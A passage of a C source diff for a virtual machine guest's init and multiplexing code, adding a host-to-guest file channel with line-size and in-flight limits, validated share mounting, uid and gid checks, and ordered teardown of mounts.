b/apple/Cowork/WinterCoworkGuest/common/fileflow.h @@ -0,0 +1,35 @@ +/* + * The guest file channel's own flow rule (contract revision 3, section 6.2; vectors/runtime-flow.json `fileCases`). Portable C11, no I/O. + * + * FILE_IN carries request lines down and FILE_OUT carries response lines up, on conversation 0. They have their OWN bound and never touch the runtime IN count: + * * at most WG_FILE_IN_FLIGHT request lines are outstanding (a request is answered when a FILE_OUT response line's newline arrives); + * * a request line is at most WG_FILE_REQUEST_BYTES with its newline, a response line at most WG_FILE_RESPONSE_BYTES with its newline; + * * a response byte with no request outstanding cannot be attributed (BAD_FIELD). + * Bytes are counted as they arrive, so a line split across frames counts once. A refusal is final: the caller ends the stream. + * The header is compiled only for an image that declares `file-channel-v1` (WG_FILE_CHANNEL_V1); the relay and the tests include it under that flag. + */ +#ifndef WG_FILEFLOW_H +#define WG_FILEFLOW_H + +#include +#include + +#include "wmx.h" + +#define WG_FILE_IN_FLIGHT 4u +#define WG_FILE_REQUEST_BYTES 16384u +#define WG_FILE_RESPONSE_BYTES 393216u + +struct wg_fileflow { + unsigned outstanding; /* request lines sent whose response line has not ended */ + size_t request_line; /* bytes of the request line in progress, newline included */ + size_t response_line; /* bytes of the response line in progress, newline included */ +}; + +void wg_fileflow_init(struct wg_fileflow *flow); +/* FILE_IN bytes arriving from the host. WMX_OK, or WMX_OVERSIZE (a fifth outstanding request, or a line over the limit). On a refusal the state is unspecified. */ +enum wmx_status wg_fileflow_request(struct wg_fileflow *flow, const uint8_t *bytes, size_t length); +/* FILE_OUT bytes leaving for the host. WMX_OK, WMX_BAD_FIELD (a byte with no request outstanding) or WMX_OVERSIZE (a line over the limit). */ +enum wmx_status wg_fileflow_response(struct wg_fileflow *flow, const uint8_t *bytes, size_t length); + +#endif diff --git a/apple/Cowork/WinterCoworkGuest/common/wmx.c b/apple/Cowork/WinterCoworkGuest/common/wmx.c index 1ba966bf4..88ead64c0 100644 --- a/apple/Cowork/WinterCoworkGuest/common/wmx.c +++ b/apple/Cowork/WinterCoworkGuest/common/wmx.c @@ -278,8 +278,16 @@ size_t wmx_encode_control(const struct wmx_control *message, uint8_t *out, size_ enum wmx_status wmx_parse_runtime_payload(const uint8_t *payload, size_t length, enum wmx_direction direction, struct wmx_runtime_prefix *out) { if (!payload || length < WMX_RUNTIME_PREFIX_BYTES) return WMX_MALFORMED; unsigned conversation = payload[0], stream = payload[1], flags = payload[2]; - if (conversation >= WMX_RUNTIME_CONVERSATIONS || stream < WMX_STREAM_IN || stream > WMX_STREAM_ERR || flags > 1 || payload[3] != 0) return WMX_BAD_FIELD; - if ((stream == WMX_STREAM_IN) != (direction == WMX_DOWN)) return WMX_BAD_DIRECTION; +#ifdef WG_FILE_CHANNEL_V1 + const unsigned last_stream = WMX_STREAM_FILE_OUT; +#else + const unsigned last_stream = WMX_STREAM_ERR; +#endif + if (conversation >= WMX_RUNTIME_CONVERSATIONS || stream < WMX_STREAM_IN || stream > last_stream || flags > 1 || payload[3] != 0) return WMX_BAD_FIELD; + /* The file streams exist on conversation 0 only (the index is transport, a request names its own session). */ + if (stream >= WMX_STREAM_FILE_IN && conversation != 0) return WMX_BAD_FIELD; + /* IN and FILE_IN travel down; OUT, ERR and FILE_OUT travel up. */ + if ((stream == WMX_STREAM_IN || stream == WMX_STREAM_FILE_IN) != (direction == WMX_DOWN)) return WMX_BAD_DIRECTION; if (length == WMX_RUNTIME_PREFIX_BYTES && flags == 0) return WMX_BAD_FIELD; if (out) { out->conversation = conversation; out->stream = (enum wmx_stream)stream; out->end = (int)flags; } return WMX_OK; diff --git a/apple/Cowork/WinterCoworkGuest/common/wmx.h b/apple/Cowork/WinterCoworkGuest/common/wmx.h index 6a609c308..06d3136df 100644 --- a/apple/Cowork/WinterCoworkGuest/common/wmx.h +++ b/apple/Cowork/WinterCoworkGuest/common/wmx.h @@ -127,7 +127,10 @@ int wmx_is_nonce(const char *text); /* exactly 32 chars of [a-f0-9] */ * An empty data section is valid only with the end flag. Direction decides which streams may travel. */ #define WMX_RUNTIME_PREFIX_BYTES 4u #define WMX_RUNTIME_CONVERSATIONS 16u -enum wmx_stream { WMX_STREAM_IN = 1, WMX_STREAM_OUT = 2, WMX_STREAM_ERR = 3 }; +/* FILE_IN (4, host to guest) and FILE_OUT (5, guest to host) are the guest file channel (contract revision 3, section 6.2): conversation 0 only, and recognised + * only when the program is built with WG_FILE_CHANNEL_V1, i.e. for an image that declares the runtime capability `file-channel-v1`. Without it stream 4 and above are + * BAD_FIELD, as in a revision-2 guest (which "refuses stream 4 and ends its stream"). */ +enum wmx_stream { WMX_STREAM_IN = 1, WMX_STREAM_OUT = 2, WMX_STREAM_ERR = 3, WMX_STREAM_FILE_IN = 4, WMX_STREAM_FILE_OUT = 5 }; struct wmx_runtime_prefix { unsigned conversation; enum wmx_stream stream; diff --git a/apple/Cowork/WinterCoworkGuest/init/boot.c b/apple/Cowork/WinterCoworkGuest/init/boot.c index 3da5ce727..25e814b6a 100644 --- a/apple/Cowork/WinterCoworkGuest/init/boot.c +++ b/apple/Cowork/WinterCoworkGuest/init/boot.c @@ -27,11 +27,43 @@ static void note(struct wg_boot *boot, const char *code) { boot->ops->log(boot-> static const char *const PURPOSES[2] = { "data", "environment" }; +#ifdef WG_FILE_CHANNEL_V1 +static uint32_t le32(const uint8_t *p) { return (uint32_t)p[0] | ((uint32_t)p[1] << 8) | ((uint32_t)p[2] << 16) | ((uint32_t)p[3] << 24); } + +/* A root's `source` as PID 1 will walk it: /workspace/ and then components of [A-Za-z0-9._-], none empty, "." or ".." (the helper checked the same; PID 1 acts on it, so it checks again). */ +static int root_source_ok(const uint8_t *text, size_t length) { + static const char prefix[] = "/workspace/"; + if (length < sizeof prefix || memcmp(text, prefix, sizeof prefix - 1) != 0) return 0; /* (the length is a byte: at most WG_ROOT_SOURCE_MAX) */ + size_t component = 0; + for (size_t i = sizeof prefix - 1; i <= length; i++) { + char c = i < length ? (char)text[i] : '/'; + if (c == '/') { + const uint8_t *start = text + i - component; + if (component == 0 || (component == 1 && start[0] == '.') || (component == 2 && start[0] == '.' && start[1] == '.')) return 0; + component = 0; + } else { + int ok = (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || (c >= '0' && c <= '9') || c == '.' || c == '_' || c == '-'; + if (!ok || ++component > 64) return 0; + } + } + return 1; +} +#endif + int wg_parse_conversation_payload(const uint8_t *payload, size_t length, struct wg_conversation_set *out) { +#ifdef WG_FILE_CHANNEL_V1 + int extended = length >= 1 && (payload[0] & WG_PAYLOAD_EXTENDED) != 0; + unsigned profile_byte = length >= 1 ? payload[0] & ~WG_PAYLOAD_EXTENDED : 0; + if (length < 2 || profile_byte > 2 || payload[1] < 1 || payload[1] > WG_CONVERSATIONS_MAX) return -1; + if (profile_byte != 0 && payload[1] != 1) return -1; /* N2: ONE host-query conversation per guest */ + memset(out, 0, sizeof *out); + out->profile = profile_byte; +#else if (length < 2 || payload[0] > 2 || payload[1] < 1 || payload[1] > WG_CONVERSATIONS_MAX) return -1; if (payload[0] != 0 && payload[1] != 1) return -1; /* N2: ONE host-query conversation per guest */ memset(out, 0, sizeof *out); out->profile = payload[0]; +#endif out->count = payload[1]; size_t at = 2; for (unsigned i = 0; i < out->count; i++) { @@ -51,12 +83,111 @@ int wg_parse_conversation_payload(const uint8_t *payload, size_t length, struct at += id_length; for (unsigned j = 0; j < i; j++) if (strcmp(out->session_id[j], out->session_id[i]) == 0) return -1; } +#ifdef WG_FILE_CHANNEL_V1 + if (extended) { + if (length - at < 4) return -1; + out->browse_uid = le32(payload + at); + at += 4; + if (out->browse_uid != 0 && (out->browse_uid < WG_UNIX_ID_MIN || out->browse_uid > WG_UNIX_ID_MAX)) return -1; + for (unsigned i = 0; i < out->count; i++) { + if (length - at < 9) return -1; + uint32_t tool = le32(payload + at); + uint32_t gid = le32(payload + at + 4); + unsigned roots = payload[at + 8]; + at += 9; + if (tool < WG_UNIX_ID_MIN || tool > WG_UNIX_ID_MAX) return -1; + out->tool_uid[i] = tool; + if (gid < WG_UNIX_ID_MIN || gid > WG_UNIX_ID_MAX || roots < 1 || roots > WG_ROOTS_MAX) return -1; + out->workspace_gid[i] = gid; + out->root_count[i] = roots; + for (unsigned r = 0; r < roots; r++) { + if (length - at < 1) return -1; + size_t source_length = payload[at++]; + if (length - at < source_length || !root_source_ok(payload + at, source_length)) return -1; + memcpy(out->root_source[i][r], payload + at, source_length); + out->root_source[i][r][source_length] = '\0'; + at += source_length; + } + } + /* The browse uid is a fourth kind of id beside runtime uids, tool uids and workspace gids: it is none of the ones PID 1 can see. */ + for (unsigned i = 0; i < out->count; i++) + if (out->browse_uid != 0 && (out->browse_uid == out->runtime_uid[i] || out->browse_uid == out->tool_uid[i] || out->browse_uid == out->workspace_gid[i])) return -1; + /* Every runtime and tool uid of the set is distinct, and no workspace gid is any of them (a group id equal to a uid is that user's private group). */ + for (unsigned i = 0; i < out->count; i++) { + if (out->tool_uid[i] == out->runtime_uid[i]) return -1; + for (unsigned j = 0; j < out->count; j++) { + if (out->workspace_gid[i] == out->runtime_uid[j] || out->workspace_gid[i] == out->tool_uid[j]) return -1; + if (j != i && (out->tool_uid[i] == out->tool_uid[j] || out->tool_uid[i] == out->runtime_uid[j])) return -1; + } + } + } +#endif if (length - at < 2) return -1; out->json = (const char *)payload + at; out->json_length = length - at; return 0; } +#ifdef WG_FILE_CHANNEL_V1 +static int share_tag_ok(const uint8_t *text, size_t length) { + if (length < 1 || length > WG_SHARE_TAG_MAX) return 0; + for (size_t i = 0; i < length; i++) { + uint8_t c = text[i]; + if (!((c >= 'a' && c <= 'z') || (c >= '0' && c <= '9') || c == '-')) return 0; + } + return 1; +} + +/* A folder source's mount point: /workspace/folders/ and one name of [A-Za-z0-9][A-Za-z0-9_.-]{0,127} (protocol.ts FOLDER_MOUNT). */ +static int folder_mount_ok(const char *path, size_t length) { + size_t prefix = sizeof WG_SHARE_FOLDERS_PREFIX - 1; + if (length <= prefix || length - prefix > WG_SHARE_FOLDER_NAME_MAX || memcmp(path, WG_SHARE_FOLDERS_PREFIX, prefix) != 0) return 0; + for (size_t i = prefix; i < length; i++) { + char c = path[i]; + int alnum = (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || (c >= '0' && c <= '9'); + if (!(alnum || (i > prefix && (c == '_' || c == '.' || c == '-')))) return 0; + } + return 1; +} + +int wg_parse_share_payload(const uint8_t *payload, size_t length, struct wg_share_set *out) { + static const char *const FIXED[4] = { NULL, WG_SHARE_GUIDANCE_PATH, WG_SHARE_MEMORY_PATH, WG_SHARE_OUTPUTS_PATH }; + memset(out, 0, sizeof *out); + if (length < 1 || payload[0] < 1 || payload[0] > WG_SHARES_MAX) return -1; + out->count = payload[0]; + size_t at = 1; + unsigned per_kind[4] = { 0, 0, 0, 0 }; + for (unsigned i = 0; i < out->count; i++) { + struct wg_share *share = &out->item[i]; + if (length - at < 3) return -1; + unsigned kind = payload[at], flags = payload[at + 1]; + size_t tag_length = payload[at + 2]; + at += 3; + if (kind > WG_SHARE_OUTPUTS || (flags & ~1u) != 0 || length - at < tag_length || !share_tag_ok(payload + at, tag_length)) return -1; + memcpy(share->tag, payload + at, tag_length); + share->tag[tag_length] = '\0'; + at += tag_length; + if (length - at < 1) return -1; + size_t path_length = payload[at++]; + if (path_length > WG_SHARE_PATH_MAX || length - at < path_length) return -1; + memcpy(share->guest_path, payload + at, path_length); + share->guest_path[path_length] = '\0'; + at += path_length; + share->kind = kind; + share->read_only = (flags & 1u) != 0; + /* the mount point and the mode each kind must have: guidance read-only, memory and outputs read-write, a folder as its grant says */ + if (kind == WG_SHARE_FOLDER ? !folder_mount_ok(share->guest_path, path_length) : (strlen(FIXED[kind]) != path_length || memcmp(share->guest_path, FIXED[kind], path_length) != 0)) return -1; + if (kind != WG_SHARE_FOLDER && share->read_only != (kind == WG_SHARE_GUIDANCE)) return -1; + per_kind[kind]++; + for (unsigned j = 0; j < i; j++) + if (strcmp(out->item[j].tag, share->tag) == 0 || strcmp(out->item[j].guest_path, share->guest_path) == 0) return -1; + } + if (at != length) return -1; + if (per_kind[WG_SHARE_FOLDER] > WG_FOLDER_SHARES_MAX || per_kind[WG_SHARE_GUIDANCE] > 1 || per_kind[WG_SHARE_MEMORY] > 1 || per_kind[WG_SHARE_OUTPUTS] > 1) return -1; + return 0; +} +#endif + /* Stops everything that could still write, then unmounts. Returns 1 only when every filesystem this boot mounted is unmounted * again, nothing is left mounted under the replay root, and each volume's superblock proves its final unmount happened (a mount * namespace or a bind mount that still holds the filesystem would leave it dirty). That is the only fact `halting` may claim. */ @@ -70,6 +201,23 @@ static int teardown(struct wg_boot *boot, long long started) { boot->supervisor_alive = 0; ops->kill_all(ops->ctx); ops->sync_all(ops->ctx); +#ifdef WG_FILE_CHANNEL_V1 + /* The virtio-fs shares first, the last mounted first: three of their mount points are on the data volume, and the ext4 volumes are unmounted only once + * no share is mounted any more. `halting` keeps meaning that every filesystem this boot mounted is unmounted, the shares included. */ + for (int attempt = 0; attempt < UMOUNT_ATTEMPTS; attempt++) { + for (unsigned i = boot->shares.count; i-- > 0;) + if ((boot->shares_mounted & (1u << i)) && ops->umount_share(ops->ctx, boot->shares.item[i].guest_path) == 0) boot->shares_mounted &= ~(1u << i); + for (int v = 0; v < 2; v++) if (boot->replay_mounted[v] && ops->umount_replay(ops->ctx, PURPOSES[v]) == 0) boot->replay_mounted[v] = 0; + if (boot->shares_mounted == 0) { + if (boot->environment_mounted && ops->umount(ops->ctx, WG_VOLUME_ENVIRONMENT) == 0) boot->environment_mounted = 0; + if (boot->data_mounted && ops->umount(ops->ctx, WG_VOLUME_DATA) == 0) boot->data_mounted = 0; + } + if (!boot->shares_mounted && !boot->environment_mounted && !boot->data_mounted && !boot->replay_mounted[0] && !boot->replay_mounted[1]) break; + ops->kill_all(ops->ctx); /* something still holds a filesystem: stop whatever it is and try again */ + ops->pause_ms(ops->ctx, 100); + } + if (boot->shares_mounted || boot->environment_mounted || boot->data_mounted || boot->replay_mounted[0] || boot->replay_mounted[1]) return 0; +#else for (int attempt = 0; attempt < UMOUNT_ATTEMPTS; attempt++) { for (int v = 0; v < 2; v++) if (boot->replay_mounted[v] && ops->umount_replay(ops->ctx, PURPOSES[v]) == 0) boot->replay_mounted[v] = 0; if (boot->environment_mounted && ops->umount(ops->ctx, WG_VOLUME_ENVIRONMENT) == 0) boot->environment_mounted = 0; @@ -79,6 +227,7 @@ static int teardown(struct wg_boot *boot, long long started) { ops->pause_ms(ops->ctx, 100); } if (boot->environment_mounted || boot->data_mounted || boot->replay_mounted[0] || boot->replay_mounted[1]) return 0; +#endif for (int v = 0; v < 2; v++) if (boot->ever_mounted[v] && ops->verify_unmounted(ops->ctx, v, boot->uuid[v]) != 0) return 0; return 1; @@ -163,6 +312,10 @@ static void start_conversations(struct wg_boot *boot, const uint8_t *payload, si const struct wg_boot_ops *ops = boot->ops; struct wg_conversation_set set; if (boot->phase != WG_PHASE_MOUNTED || boot->conv_state != WG_CONV_NONE) { wg_boot_fail_stop(boot, "conversations-out-of-order"); return; } +#ifdef WG_FILE_CHANNEL_V1 + /* The host waits for `shares_mounted` before it sends a set, and the helper answers a set that follows a failed share step itself: one here is a helper fault. */ + if (boot->shares_state == WG_SHARES_STATE_FAILED) { wg_boot_fail_stop(boot, "conversations-after-failed-shares"); return; } +#endif boot->conv_state = WG_CONV_FAILED; /* one attempt per incarnation, whatever happens */ if (wg_parse_conversation_payload(payload, length, &set) != 0) { conversations_failed(boot, 1, "conversations-payload"); return; } boot->conv_count = set.count; @@ -182,13 +335,56 @@ static void start_conversations(struct wg_boot *boot, const uint8_t *payload, si config_buffer, sizeof config_buffer, &config_length); if (built == WG_CONFIG_RUNTIME_SHAPE) { conversations_failed(boot, 2, "runtime-artifacts-invalid"); return; } /* the image's own file is not what the supervisor reads */ if (built != WG_CONFIG_OK) { conversations_failed(boot, 1, "config-refused"); return; } +#ifdef WG_FILE_CHANNEL_V1 + int start_flags = set.profile != 0 ? WG_START_PORTS : 0; + if (set.browse_uid != 0) { + uint64_t device = 0; + if (ops->read_data_device(ops->ctx, &device) != 0 || wg_add_file_channel(config_buffer, config_length, sizeof config_buffer, set.browse_uid, device, &config_length) != 0) { + conversations_failed(boot, 2, "file-channel-config-failed"); + return; + } + start_flags |= WG_START_FILE_CHANNEL; + } +#endif if (ops->prepare_conversation_dirs(ops->ctx, &set) != 0) { conversations_failed(boot, 2, "conversation-dirs-failed"); return; } +#ifdef WG_FILE_CHANNEL_V1 + if (ops->start_supervisor(ops->ctx, config_buffer, config_length, start_flags) != 0) { conversations_failed(boot, 2, "supervisor-start-failed"); return; } + boot->conv_file_channel = (start_flags & WG_START_FILE_CHANNEL) != 0; +#else if (ops->start_supervisor(ops->ctx, config_buffer, config_length, set.profile != 0) != 0) { conversations_failed(boot, 2, "supervisor-start-failed"); return; } +#endif boot->supervisor_started = 1; boot->supervisor_alive = 1; boot->conv_state = WG_CONV_STARTING; } +#ifdef WG_FILE_CHANNEL_V1 +/* The share step (design section 2.5): once, after the data volume is mounted and the helper said 'E', and before any conversation set. Whatever happens it is + * the one attempt of the incarnation; only a step that mounted and checked every share lets a set follow. */ +static void mount_shares(struct wg_boot *boot, const uint8_t *payload, size_t length) { + const struct wg_boot_ops *ops = boot->ops; + if (boot->phase != WG_PHASE_MOUNTED || boot->conv_state != WG_CONV_NONE || boot->shares_state != WG_SHARES_STATE_NONE) { wg_boot_fail_stop(boot, "shares-out-of-order"); return; } + boot->shares_state = WG_SHARES_STATE_FAILED; + uint8_t answer = WG_SHARES_MOUNT_FAILED; + if (wg_parse_share_payload(payload, length, &boot->shares) != 0) { + memset(&boot->shares, 0, sizeof boot->shares); + note(boot, "shares-payload"); + } else { + unsigned mounted = 0, all = (1u << boot->shares.count) - 1u; + int result = ops->mount_shares(ops->ctx, &boot->shares, &mounted); + boot->shares_mounted = mounted & all; /* whatever is mounted is the drain's to unmount, success or not */ + if (result == WG_SHARES_MOUNTED && mounted == all) { + boot->shares_state = WG_SHARES_STATE_MOUNTED; + answer = WG_SHARES_MOUNTED; + } else { + answer = result == WG_SHARES_INVENTORY ? WG_SHARES_INVENTORY : WG_SHARES_MOUNT_FAILED; + note(boot, answer == WG_SHARES_INVENTORY ? "share-inventory" : "share-mount-failed"); + } + } + if (boot->helper_alive) ops->to_helper(ops->ctx, CTL_SHARES_RESULT, &answer, 1); +} +#endif + static void enter_mounted(struct wg_boot *boot) { if (boot->phase != WG_PHASE_BOOTSTRAP) return; boot->phase = WG_PHASE_MOUNTED; @@ -281,6 +477,11 @@ void wg_boot_helper_message(struct wg_boot *boot, uint8_t tag, const uint8_t *pa case CTL_HELPER_CONVERSATIONS: start_conversations(boot, payload, length); break; +#ifdef WG_FILE_CHANNEL_V1 + case CTL_HELPER_SHARES: + mount_shares(boot, payload, length); + break; +#endif case CTL_HELPER_DONE: if (!boot->mount_requested || !boot->data_mounted || length != 0) { wg_boot_fail_stop(boot, "done-out-of-order"); return; } boot->helper_done = 1; @@ -308,6 +509,9 @@ void wg_boot_supervisor_ready(struct wg_boot *boot) { /* The relay first: its pipe carries the helper's `runtime_ready` right after this, so no runtime frame can be answered before it * admits them. */ uint8_t streams = boot->conv_profile != 0 ? 1 : 0; +#ifdef WG_FILE_CHANNEL_V1 + if (boot->conv_file_channel) streams |= 2; /* bit 1: the supervisor has a file service, so the relay admits streams 4 and 5 */ +#endif boot->ops->to_relay(boot->ops->ctx, CTL_RUNTIME_GO, &streams, 1); answer_conversations(boot, 0); } diff --git a/apple/Cowork/WinterCoworkGuest/init/boot.h b/apple/Cowork/WinterCoworkGuest/init/boot.h index d2fe2c4e9..0828e1e21 100644 --- a/apple/Cowork/WinterCoworkGuest/init/boot.h +++ b/apple/Cowork/WinterCoworkGuest/init/boot.h @@ -10,8 +10,10 @@ * may deliver the conversation set ('C') once; PID 1 then makes the conversation directories, writes the trusted * config and starts the supervisor. Until the supervisor's ready line arrives the set is "starting"; if it never * does, or the supervisor dies first, the helper is told `supervisor_failed` and the guest stays up for the drain. + * In an image with `file-channel-v1`, the helper may first deliver the host's share set ('S') once: PID 1 mounts every share (inventory, mounts, + * mountinfo check, guidance alias) and answers 's'. A set that follows a failed share step is a helper fault (fail-stop). * RUNNING supervisor ready: the helper is told (it answers `runtime_ready`) and the relay is told that runtime frames are now admitted. - * DRAINING drain: ack, stop helper, stop supervisor, kill the rest, sync, unmount, flush the devices, `halting` ONLY if every unmount worked and the flush succeeded, sync, power off. + * DRAINING drain: ack, stop helper, stop supervisor, kill the rest, sync, unmount (the virtio-fs shares before the ext4 volumes), flush the devices, `halting` ONLY if every unmount worked and the flush succeeded, sync, power off. * * Fail-stop (relay or supervisor gone, protocol garbage, a helper message out of order) is the drain without the ack and * without `halting`. While the relay lives PID 1 first has it send one control-up `fault` (unmount_failed, supervisor_lost, @@ -36,6 +38,17 @@ #define WG_SESSION_ID_MAX 128u #define WG_UNIX_ID_MIN 1000u /* the contract's unixId range: 65534 is `nobody` and 65535 the invalid id */ #define WG_UNIX_ID_MAX 65533u +#ifdef WG_FILE_CHANNEL_V1 +/* Image with the runtime capability `file-channel-v1` only. The helper (started with --file-channel-v1) sends the payload below with the profile byte's bit 7 set: + * u8 profile | 0x80, u8 count, per conversation {u32 runtimeUid, u8 id length, id}, then + * u32 LE browseUid (0 = the workspace has none; otherwise 1000 to 65533, never a runtime or tool uid or a workspace gid of the set), + * per conversation {u32 LE toolUid (1000 to 65533, distinct from every runtime and tool uid of the set: the owner of the conversation's plan view), + * u32 LE workspaceGid (1000 to 65533, never a runtime or tool uid of the set), u8 root count (1 to 16), per root {u8 length (11 to 255), the root's `source` path}}, + * then the items JSON. A payload without bit 7 is the plain one and means "no file channel". */ +#define WG_PAYLOAD_EXTENDED 0x80u +#define WG_ROOTS_MAX 16u +#define WG_ROOT_SOURCE_MAX 255u +#endif struct wg_conversation_set { unsigned profile; unsigned count; @@ -43,10 +56,52 @@ struct wg_conversation_set { char session_id[WG_CONVERSATIONS_MAX][WG_SESSION_ID_MAX + 1]; const char *json; size_t json_length; +#ifdef WG_FILE_CHANNEL_V1 + uint32_t browse_uid; /* 0 = no file channel for this set */ + uint32_t tool_uid[WG_CONVERSATIONS_MAX]; + uint32_t workspace_gid[WG_CONVERSATIONS_MAX]; + unsigned root_count[WG_CONVERSATIONS_MAX]; + char root_source[WG_CONVERSATIONS_MAX][WG_ROOTS_MAX][WG_ROOT_SOURCE_MAX + 1]; +#endif }; /* 0 when the payload is well formed. The JSON text itself is only shape-checked later, by the config builder. */ int wg_parse_conversation_payload(const uint8_t *payload, size_t length, struct wg_conversation_set *out); +#ifdef WG_FILE_CHANNEL_V1 +/* Host-backed shares (contract revision 3, design 2026-10-18 section 2.5). After `mounted` and before the conversation set the host may send one `shares` + * message; the helper validates it, binds it to the plan's operation and nonce, and hands PID 1 the set ('S'): + * u8 count (1 to 12), then per share {u8 kind (WG_SHARE_*), u8 flags (bit 0 read-only; nothing else), u8 tag length (1 to 32), the tag ([a-z0-9-]), + * u8 guest path length, the guest path}, and nothing after the last share. + * PID 1 re-checks every rule it acts on (the contract's checkShareSet): at most 9 folders and one of each Winter kind, distinct tags and paths, the fixed mount + * point and mode of each Winter kind, and a folder at /workspace/folders/ with a name of [A-Za-z0-9][A-Za-z0-9_.-]{0,127}. */ +#define WG_SHARES_MAX 12u +#define WG_FOLDER_SHARES_MAX 9u +#define WG_SHARE_TAG_MAX 32u +#define WG_SHARE_PATH_MAX 160u +#define WG_SHARE_FOLDER_NAME_MAX 128u +#define WG_SHARE_FOLDERS_PREFIX "/workspace/folders/" +#define WG_SHARE_GUIDANCE_PATH "/run/winter/shared-instructions" +#define WG_SHARE_MEMORY_PATH "/workspace/.winter/memory" +#define WG_SHARE_OUTPUTS_PATH "/workspace/outputs" +enum wg_share_kind { WG_SHARE_FOLDER = 0, WG_SHARE_GUIDANCE = 1, WG_SHARE_MEMORY = 2, WG_SHARE_OUTPUTS = 3 }; +struct wg_share { + unsigned kind; + int read_only; + char tag[WG_SHARE_TAG_MAX + 1]; + char guest_path[WG_SHARE_PATH_MAX + 1]; +}; +struct wg_share_set { + unsigned count; + struct wg_share item[WG_SHARES_MAX]; +}; +/* 0 when the payload is well formed and the set obeys every rule above. */ +int wg_parse_share_payload(const uint8_t *payload, size_t length, struct wg_share_set *out); +/* The answer to 'S' (and what the effect returns): the helper turns 1 and 2 into the bootstrap faults `share_inventory` and `share_mount_failed`. */ +#define WG_SHARES_MOUNTED 0 +#define WG_SHARES_INVENTORY 1 +#define WG_SHARES_MOUNT_FAILED 2 +#endif + struct wg_boot_ops { void *ctx; long long (*now_ms)(void *ctx); @@ -73,8 +128,18 @@ struct wg_boot_ops { int (*read_runtime_artifacts)(void *ctx, unsigned profile, char *out, size_t capacity, size_t *length); int (*read_base_config)(void *ctx, char *out, size_t capacity, size_t *length); int (*read_boot_id)(void *ctx, char out[37]); - /* with_ports: pass --runtime-ports-fds 4,5,6 (one host-query conversation) */ + /* with_ports: pass --runtime-ports-fds 4,5,6 (one host-query conversation). With WG_FILE_CHANNEL_V1 the value is a set of bits: WG_START_PORTS, and + * WG_START_FILE_CHANNEL for `--file-channel-fds IN,OUT` as the last two arguments (the config then names `fileChannel`). */ int (*start_supervisor)(void *ctx, const char *config, size_t length, int with_ports); +#ifdef WG_FILE_CHANNEL_V1 + /* st_dev of the mounted data volume (/workspace): the supervisor's `fileChannel.dataDevice`. 0 = read, non-zero = refused */ + int (*read_data_device)(void *ctx, uint64_t *device); + /* The whole share step (shares.c wg_mount_shares): the virtio-fs inventory, the mount points, the mounts, the mountinfo check and the guidance alias. + * Returns WG_SHARES_*. *mounted receives bit (1 << i) for every share i that is still mounted when it returns (after a failure: only those whose + * rollback unmount did not succeed), so the drain can get them out before it may say `halting`. */ + int (*mount_shares)(void *ctx, const struct wg_share_set *set, unsigned *mounted); + int (*umount_share)(void *ctx, const char *guest_path); +#endif /* teardown */ void (*stop_helper)(void *ctx, long long deadline_ms); void (*stop_supervisor)(void *ctx, long long deadline_ms); @@ -85,6 +150,11 @@ struct wg_boot_ops { void (*power_off)(void *ctx); }; +#define WG_START_PORTS 1 +#ifdef WG_FILE_CHANNEL_V1 +#define WG_START_FILE_CHANNEL 2 +enum wg_shares_state { WG_SHARES_STATE_NONE = 0, WG_SHARES_STATE_MOUNTED, WG_SHARES_STATE_FAILED }; +#endif enum wg_conv_state { WG_CONV_NONE = 0, WG_CONV_STARTING, WG_CONV_RUNNING, WG_CONV_FAILED }; enum wg_phase { WG_PHASE_BOOTSTRAP = 0, WG_PHASE_MOUNTED, WG_PHASE_RUNNING, WG_PHASE_DRAINING, WG_PHASE_DEAD }; @@ -101,6 +171,12 @@ struct wg_boot { int supervisor_started, supervisor_alive; int conv_state; /* WG_CONV_* */ unsigned conv_count, conv_profile; +#ifdef WG_FILE_CHANNEL_V1 + int conv_file_channel; /* the supervisor was started with a file service */ + int shares_state; /* WG_SHARES_STATE_*: one share step per incarnation, and a set never follows a failed one */ + struct wg_share_set shares; /* the set that was mounted (its guest paths are what the drain unmounts) */ + unsigned shares_mounted; /* bit (1 << i): share i is mounted; the data volume is unmounted only once this is 0 */ +#endif int fault_sent, relay_gone; int draining; char nonce[33]; diff --git a/apple/Cowork/WinterCoworkGuest/init/dataroots.c b/apple/Cowork/WinterCoworkGuest/init/dataroots.c new file mode 100644 index 000000000..8eeed0411 --- /dev/null +++ b/apple/Cowork/WinterCoworkGuest/init/dataroots.c @@ -0,0 +1,189 @@ +#define _GNU_SOURCE +#include "dataroots.h" + +#ifdef WG_FILE_CHANNEL_V1 +#include +#include +#include +#include +#include +#include + +#define WORKSPACE_PREFIX "/workspace/" +#define ROOT_MODE 02770 +#define PARENT_MODE 0711 +#define PLAN_ROOT "/workspace/plan" +#define PLAN_MODE 0700 + +static int under(const char *source, const char *directory) { + size_t n = strlen(directory); + return strncmp(source, directory, n) == 0 && (source[n] == '\0' || source[n] == '/'); +} + +/* The plan view (contract 12.5): `source` is exactly /workspace/plan//, this conversation's own logicalSessionId, a canonical decimal of at most nine digits + * (no sign, no leading zero, nothing deeper). Returns the epoch, or -1 for anything else that is at or under /workspace/plan. */ +static long plan_view_epoch(const char *source, const char *session_id) { + static const char prefix[] = "/workspace/plan/"; + size_t id_length = strlen(session_id); + if (strncmp(source, prefix, sizeof prefix - 1) != 0) return -1; + const char *at = source + sizeof prefix - 1; + if (strncmp(at, session_id, id_length) != 0 || at[id_length] != '/') return -1; + const char *digits = at + id_length + 1; + size_t n = strlen(digits); + if (n < 1 || n > 9 || (n > 1 && digits[0] == '0')) return -1; + long epoch = 0; + for (size_t i = 0; i < n; i++) { + if (digits[i] < '0' || digits[i] > '9') return -1; + epoch = epoch * 10 + (digits[i] - '0'); + } + return epoch; +} + +/* The data disk is the record of which epochs were ever made: an epoch below one that already exists beside it is stale and is never made again (the supervisor refuses it too). + * `folder` is /workspace/plan/ as make_plan_view already walked and checked it (no link followed, root's): the scan reads that very descriptor, it opens nothing by name. + * A read error is not "no later epoch". 0 = fine, -1 = refuse. */ +static int plan_epoch_is_current(int folder, long epoch, const struct wg_dataroots_ops *ops) { + int duplicate = dup(folder); /* fdopendir takes the descriptor it is given */ + if (duplicate < 0) return -1; + DIR *directory = fdopendir(duplicate); + if (!directory) { close(duplicate); return -1; } + int result = 0; + struct dirent *entry; + errno = 0; + while ((entry = ops->read_entry ? ops->read_entry(directory, ops->ctx) : readdir(directory)) != NULL) { + const char *name = entry->d_name; + size_t n = strlen(name); + if (n < 1 || n > 9 || (n > 1 && name[0] == '0')) continue; /* not a canonical epoch name (skipping one is the lax side, and a test holds it: 